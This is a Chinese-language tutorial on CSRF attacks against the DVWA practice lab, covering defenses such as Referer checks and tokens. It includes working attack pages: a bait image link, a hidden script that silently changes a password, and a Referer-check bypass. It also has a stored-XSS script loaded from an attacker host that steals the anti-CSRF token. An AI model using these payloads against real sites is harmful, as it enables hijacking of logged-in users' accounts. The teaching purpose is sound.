OWASPtop10——CSRF
本文最后更新于 2024-07-26,文章内容可能已经过时。
OWASPtop10_CSRF跨站请求伪造漏洞
免责声明
⚠特别说明:此教程为纯技术教学!严禁利用本教程所提到的漏洞和技术进行非法攻击,本教程的目的仅仅作为学习,
决不是为那些怀有不良动机的人提供技术支持!也不承担因为技术被滥用所产生的连带责任!⚠
CSRF漏洞介绍
定义:Cross-Site Request Forgery 跨站请求伪造漏洞
理解:
1.跨站点的请求;
2.请求师伪造的
是一种挟制用户在当前已登录的web应用程序上执行的非本意的操作的攻击方法。
概述:
csrf: cross site request forgrey 跨站请求伪造。当攻击者不能通过常用的手段获取cookie时候,可以通过伪造请求方式,让受害者自己点击链接触发服务器数据修改操作。由于请求是从受害者自己浏览器发送。所以,服务器会收到与该浏览器绑定的sessionid,一般用户点击后,攻击就完成了,有时候CSRF也称为一次性攻击。
漏洞形成原因:
CSRF漏洞成因师网站的Cookie在浏览器中不会过期,只要不关闭浏览器或者退出登录,那以后只要是访问网站,都会默认你已经登录的状态,而在整个期间,攻击者发送了构造好的csrf脚本或者包含csrf脚本的链接,可能会执行一些用户不想做的功能(如添加账号等)。
CSRF模型:
CSRF攻击流程:
- 用户登录受信用的网站A,并在本地生成Cookie
- 在不登出A的情况下,访问危险网站B
- 执行危险网站b上的代码
- 搜索合天网安实验室CSRF攻击实验
CSRF攻击定义:
正常的CSRF攻击,增删改等操作(基于操作的CSRF),
另类的csrf:JSONP,CORS,Flash跨域劫持(基于文件读取的csrf)
CSRF攻击简单体验
1、通过构建请求,直接发送给受害者。
使用firefox浏览器登录到DVWA靶场,把security等级设置为low,切换到CSRF标签中,并且使用burp或者firefox浏览器自己的工具,抓包后查看修改密码的请求如下:
2、把攻击的url发给受害者
3、让受害者先登录一下DVWA系统
4、在登录的情况下,把上面的连接在同一个浏览器中打开一下
5、可以发现密码已经被修改了
攻击简单升级
直接把攻击的url发给用户,很容易暴露,可以做一个美女图片的网页,放在黑客服务器上,并且把网页的连接发给受害者去浏览。
http://192.168.4.142/hz03/goods/upload/test.html
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>美女图片</title>
</head>
<body>
<a href="http://192.168.248.128/secenvs/dvwa/master/vulnerabilities/csrf/?password_new=password3&password_conf=password3&Change=Change">
<img width="500px" height="400px" src="0.jpg"/>
约吗
</a>
</body>
</html>
无感攻击
上面的攻击结束后,修改了密码,页面跳转到了修改密码的地方,这会让用户知道。下面修改一下代码,让用户在不知道的情况下,被攻击。把html的页面代码改为如下;
这段代码在chrome中无法攻击成功,可以使用firefox来尝试
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>美女图片</title>
</head>
<body>
<a href="http://www.wowops.com/photo/woman/"><img width="500px" height="400px" src="0.jpg"/>约吗</a>
</body>
<script src="http://192.168.248.128/dvwa/dvwa/vulnerabilities/csrf/?password_new=222222&password_conf=222222&Change=Change">
</script>
</html>
burp工具生成poc页面
CSRF利用条件:
1、用户需要登录目标系统
2、点击了含有恶意链接的url,或者访问了其他包含恶意链接的页面
3、访问恶意链接和登录目标系统必须使用相同的浏览器
防御和绕过:
(1)对所有请求来源进行校验:校验请求头中的referer字段
dvwa中级
stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false
//这个函数判断的是如果前面字符串包含后面字符串,则判断为true
通过referer字段中是否存在host值方式校验。
绕过: 将含有恶意链接的csrf页面的名字改为含有host值。
csrf_192.168.32.129_test.html
(2)使用token,对所有的请求进行校验。
dvwa high 级别:user_token获取问题:
1.user_token来自于csrf页面
<input type='hidden' name='user_token' value='2deaabffd267fb23c6dd64911a378250' />
2.修改密码请求:
/dvwa/vulnerabilities/csrf/?password_new=123&password_conf=123&Change=Change&user_token=2deaabffd267fb23c6dd64911a378250
如何绕过上面的动态token校验呢?
利用XSS的存储型漏洞,先把文件内容上传到受害者服务器。然后在访问页面。
- 先把DVWA安全等级调整为low,利用xss的存储漏洞,把上面的文件内容稍微修改一下,保存到服务器上。
如下的内容依靠xss存储型漏洞上传到被攻击的主机上
192.168.4.142:是黑客的主机
<script src="http://192.168.4.142/hz03/goods/upload/csrf.js"></script>
<a id="tar" href="javascript:upwd()">
<img width="500px" height="400px" src="http://192.168.4.142/hz03/goods/upload/0.jpg"/>新版约吗</a>
在黑客的服务器(192.168.4.142:我的windows主机)上制作一个csrf.js文件
192.168.248.128:是受害者的服务器(linux服务器)
function upwd(){
xhr = new XMLHttpRequest();
xhr.onreadystatechange=function (){
if(xhr.readyState==4 && xhr.status<400){
resp = xhr.responseText;
partten=/name='user_token' value='(.+)'/;
token = resp.match(partten)[1];
url = "http://192.168.248.128/secenvs/dvwa/master/vulnerabilities/csrf/?password_new=000000&password_conf=000000&Change=Change&user_token="+token;
location.href=url;
}
}
xhr.open('get','http://192.168.248.128/secenvs/dvwa/master/vulnerabilities/csrf/');
xhr.send();
}
- 把安全等级再调整为high,在xss存储型漏洞地方,访问刚刚保存的脚本链接
- 查看是否密码已经被修改成功
(3)避免交叉漏洞。
(4)二次校验:针对所有数据修改,需要提交原密码。
XSS和CSRF总结
- XSS:
1、如何寻找漏洞
白盒测试:在代码中查询input关键字
黑盒测试:打开页面寻找可以输入的点
2、确定目标用户
我们需要确定被攻击的目标用户是哪些,因为需要把攻击链接发给目标用户点击。
3、把攻击链接地址发给目标用户
社工,邮件
4、三种xss类型的选择
优先用存储型,然后在尝试dom和反射型
- CSRF:
1、如何寻找漏洞
白盒测试:查看一些更新操作,是否对请求头referer进行限制
黑盒测试:找到页面中的更新点
2、更新的前提
- 前置工作:先研究一下系统,获取到更新操作的url以及参数
- 修改上一步的参数,完成伪造的请求url
- 如果是post提交,必须伪造页面
- 用户必须是登录状态
- 用户必须使用登录的浏览器来请求伪造的链接
3、防御:
- 避免交叉漏洞
- 严格检查请求头中的referer
- 二次校验:针对所有数据修改,需要提交原密码
- 感谢你赐予我前进的力量